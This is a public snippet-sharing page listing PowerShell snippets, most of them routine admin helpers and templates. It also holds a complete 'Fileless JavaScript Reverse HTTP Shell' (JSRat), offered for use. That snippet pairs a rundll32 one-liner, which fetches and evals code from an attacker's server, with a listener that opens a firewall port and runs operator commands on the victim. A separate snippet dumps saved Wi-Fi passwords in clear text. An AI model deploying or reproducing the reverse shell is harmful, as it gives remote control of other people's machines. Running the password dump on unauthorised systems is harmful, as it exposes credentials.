working on it ...

Filters

Explore Public Snippets

Sort by

Found 8,685 snippets

    public by andrewhart098 modified Nov 24, 2017  399  6  4  0

    Powershell script that list all previously known wifi networks and their associated passwords

    Powershell script that list all previously known wifi networks and their associated passwords: wifi-remember.ps1
    # The number of lines skipped in the following command may need to be altered if "Group policy profiles" are available
    $profiles = $(netsh wlan show profiles)  -split "\n" | Select-Object -Skip 9 | Select -SkipLast 1
    
    foreach($profile in $profiles)
    {
        $network = $profile.Split(":")[1].Replace(" ", "")
        $info = $(netsh wlan show profile $network key=clear)
        $key = $info | Select-String -Pattern "Key Content"
        $cleanKey = If (!$key.Line) {"No Password Required"} Else {$key.Line.Split(":")[1].Replace(" ", "")}
        Write-Output ("{0}  -  {1}" -f $network,$cleanKey)
    }
    
    

    public by charlwillia6 modified Aug 14, 2017  450  2  3  0

    Powershell command to rename files to lowercase

    Powershell command to rename files to lowercase: batch_rename_to_lowercase.txt
    Get-ChildItem "C:\Path\To\Pics" -recurse | Where {-Not $_.PSIsContainer} | Rename-Item -NewName {$_.FullName.ToLower()}
    
    																								

    public by RexPhillips modified Jul 24, 2017  311  2  4  0

    RenameFilesInDirectoryWildcard

    Powershell snippet to rename files in a directory in a batch mode.
    dir | rename-item -NewName {$_.name -replace "DEV","PROD"}

    public by mateothegreat modified Jun 15, 2017  195  0  2  0

    Get list of programs that can be uninstalled automatically.

    Get list of programs that can be uninstalled automatically.: get_uninstallable_programs.ps1
    PS C:\Windows\system32> New-PSDrive -Name Uninstall -PSProvider Registry -Root HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
    
    PS C:\Windows\system32> dir Uninstall: | Get-ItemProperty -Name DisplayName, InstallDate, Publisher, InstallLocation, UninstallString, ModifyPath, EstimatedSize -ErrorAction SilentlyContinue | Sort-Object -Property DisplayName -ErrorAction SilentlyContinue
    
    

    public by rjminick modified Dec 1, 2016  7555  1  4  0

    Search for Active Directory Groups

    Search for Active Directory Groups matching filter
    Get-ADGroup -Filter 'Name -like "I-ADE42*"' |  FT Name,SamAccountName -A

    public by javalonson modified Apr 14, 2016  2568  2  4  0

    Search text in files for PowerShell

    Search text in files for PowerShell. Change directory, ext, text_to_search and outputfile as you choice.
    dir directory *.ext -R | Select-String text_to_search | Out-File "outputfile.txt"
    

    public by virgilwashere modified Jan 4, 2016  3700  6  6  0

    Powershell advanced function syntax

    Powershell advanced function syntax with most parameters added
    <# Insert Comment-based Help template snippet here 
    #>
    function Verb-Noun
    {
        [CmdletBinding(DefaultParameterSetName='Parameter Set 1', 
                      SupportsShouldProcess=$true, 
                      PositionalBinding=$false,
                      HelpUri = 'http://www.microsoft.com/',
                      ConfirmImpact='Medium')]
        [OutputType([String])]
        Param
        (
            # Param1 help description
            [Parameter(Mandatory=$true, 
                       ValueFromPipeline=$true,
                       ValueFromPipelineByPropertyName=$true, 
                       ValueFromRemainingArguments=$false, 
                       Position=0,
                       ParameterSetName='Parameter Set 1')]
            [HelpMessage('help description')]
    		[ValidateNotNull()]
            [ValidateNotNullOrEmpty()]
            [ValidateCount(0,5)]
            [ValidateSet("sun", "moon", "earth")]
            [Alias("p1")] 
            $Param1,
    
            # Param2 help description
            [Parameter(ParameterSetName='Parameter Set 1')]
            [AllowNull()]
            [AllowEmptyCollection()]
            [AllowEmptyString()]
            [ValidateScript({$true})]
            [ValidateRange(0,5)]
            [int]
            $Param2,
    
            # Param3 help description
            [Parameter(ParameterSetName='Another Parameter Set')]
            [ValidatePattern("[a-z]*")]
            [ValidateLength(0,15)]
            [String]
            $Param3
        )
    
        Begin {
        }
    	
        Process {
            if ($pscmdlet.ShouldProcess("Target", "Operation"))
            {
            }
        }
        
    	End {
        }
    }
    

    public by virgilwashere modified Jan 4, 2016  2182  3  6  0

    Comment-based Help for function or script

    Comment-based Help for function or script
    <#
     .Notes
     NAME:		$($MyInvocation.MyCommand.Name)
     AUTHOR:	$($env:USERNAME)
     
     CREATED:	dd/MM/yyyy
     LASTEDIT:	$(Get-Date -f 'dd/MM/yyyy')
     
     Version:	1.0 Initial Release
    			1.1 Added Feature X
     
     .Synopsis
     One line blurb that discusses cmdlet
    
     .Description
     Multi-line description of cmdlet
    
     .Parameter ParameterName1
     Description of ParameterName1
    
     .Parameter ParameterName2
     Description of ParameterName2
    
     .Inputs
     Information about the types of input objects accepted
    
     .Outputs
     Information about the objects returned as output from the cmdlet
    
     .Example
     Detailed example.  Ideally there should be an example for each set of Parameters and a pipeline example.
    
     .Example
     Additional example
    
     .LINK
     Related cmdlets or relevant URL
    #>

    public by Casey Smith modified Dec 15, 2015  102472  21  3  0

    Fileless JavaScript Reverse HTTP Shell

    Fileless JavaScript Reverse HTTP Shell: JSRat.ps1
    <#
        
      Author: Casey Smith @subTee
    
      License: BSD3-Clause
    	
      .SYNOPSIS
      
      Simple Reverse Shell over HTTP. Execute Commands on Client.  
      
      rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1/connect",false);h.Send();B=h.ResponseText;eval(B)
      
      Listening Server IP Address
      
    #>
    
    $Server = '127.0.0.1' #Listening IP. Change This.
    
    function Receive-Request {
       param(      
          $Request
       )
       $output = ""
       $size = $Request.ContentLength64 + 1   
       $buffer = New-Object byte[] $size
       do {
          $count = $Request.InputStream.Read($buffer, 0, $size)
          $output += $Request.ContentEncoding.GetString($buffer, 0, $count)
       } until($count -lt $size)
       $Request.InputStream.Close()
       write-host $output
    }
    
    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add('http://+:80/') 
    
    netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
    netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
    
    $listener.Start()
    'Listening ...'
    while ($true) {
        $context = $listener.GetContext() # blocks until request is received
        $request = $context.Request
        $response = $context.Response
    	$hostip = $request.RemoteEndPoint
    	#Use this for One-Liner Start
    	if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {  
         write-host "Host Connected" -fore Cyan
            $message = '
    					while(true)
    					{
    						h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    						h.Open("GET","http://'+$Server+'/rat",false);
    						h.Send();
    						c = h.ResponseText;
    						r = new ActiveXObject("WScript.Shell").Exec(c);
    						var so;
    						while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
    						p=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    						p.Open("POST","http://'+$Server+'/rat",false);
    						p.Send(so);
    					}
    					
    		'
    
        }		 
    	
    	if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { 
    		Receive-Request($request)	
    	}
        if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {  
            $response.ContentType = 'text/plain'
            $message = Read-Host "JS $hostip>"		
        }
        
    
        [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
        $response.ContentLength64 = $buffer.length
        $output = $response.OutputStream
        $output.Write($buffer, 0, $buffer.length)
        $output.Close()
    }
    
    $listener.Stop()
    
    
    

    public by David Grayson modified Oct 17, 2015  197462  1  3  0

    PowerShell script for setting up MSYS2, might not totally work yet

    PowerShell script for setting up MSYS2, might not totally work yet: msys2-prepare.ps1
    Add-Type -Assembly System.IO.Compression.FileSystem
    $webclient = New-Object System.Net.WebClient
    
    function Acquire($file, $url, $checksum)
    {
      if (!(Test-Path $file))
      {
        "Downloading $url ..."
        $webclient.DownloadFile($url, $file)
      }
      else
      {
        "Using existing $file."
      }
      ls
      $actual_checksum = (Get-FileHash $file)[0].Hash.ToLower()
      if (!($checksum -eq $actual_checksum))
      {
        throw "Error: Checksum for $file is $actual_checksum expected $checksum"
      }
    }
    
    $ver = "20150916"
    $msys2_archive = "msys2-base-x86_64-$ver.tar.xz"
    Acquire -File $msys2_archive `
      -Url "http://repo.msys2.org/distrib/x86_64/$msys2_archive" `
      -Checksum "1eac63be7bfff979846dfda0aef6e2b572bc526450586de6364b08aaf642b843"
    
    Acquire -File "tar_utils.zip" `
      -Url "http://www.davidegrayson.com/hold/tar_utils.zip" `
      -Checksum "ffe82e94813e12c3a911696adbdd34d6307c01d1b9c756e6ce1c0aebb7477199"
    
    "Extracting tar_utils.zip"
    [System.IO.Compression.ZipFile]::ExtractToDirectory("tar_utils.zip", ".")
    
    "Extracting MSYS2"
    bsdtar -xf $msys2_archive
    
    "Initializing MSYS2"
    cd msys64
    $env:MSYSTEM = MSYS
    usr\bin\bash -l -c "true"
    usr\bin\bash -l -c "pacman -S mingw-w64-x86_64-gcc autoconf flex make libtool"
    
    
    
    • Public Snippets
    • Channels Snippets